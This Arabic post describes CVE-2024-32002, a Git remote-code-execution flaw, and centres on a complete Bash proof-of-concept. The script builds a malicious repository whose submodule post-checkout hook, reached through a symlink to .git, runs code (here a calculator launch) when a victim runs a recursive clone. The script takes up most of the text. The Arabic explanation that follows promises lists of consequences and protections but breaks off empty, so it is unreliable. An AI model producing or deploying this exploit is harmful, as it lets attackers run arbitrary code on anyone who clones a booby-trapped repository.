
CVE-2024-32002 هو ثغرة خطيرة في Git تسمح للمهاجم بتنفيذ تعليمات برمجية عن بُعد (RCE) عند قيام المستخدم بتنفيذ عملية git clone.
سكريبت Bash:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
شرح مبسط:
يقوم سكريبت Bash هذا بإنشاء مستودع Git خبيث يستغل ثغرة أمنية (CVE-2024-32002) لتنفيذ تعليمات برمجية ضارة عند استنساخ شخص ما للمستودع.
إليك تفصيل لما يفعله السكريبت:
عندما يستنسخ شخص ما مستودع "captain"، سيتم تشغيل السكريبت الخبيث على جهازه، مما قد يؤدي إلى عواقب ضارة مثل:
لحماية نفسك من مثل هذه الهجمات:
باتباع هذه الاحتياطات، يمكنك تقليل مخاطر الوقوع ضحية لهجمات مماثلة بشكل كبير.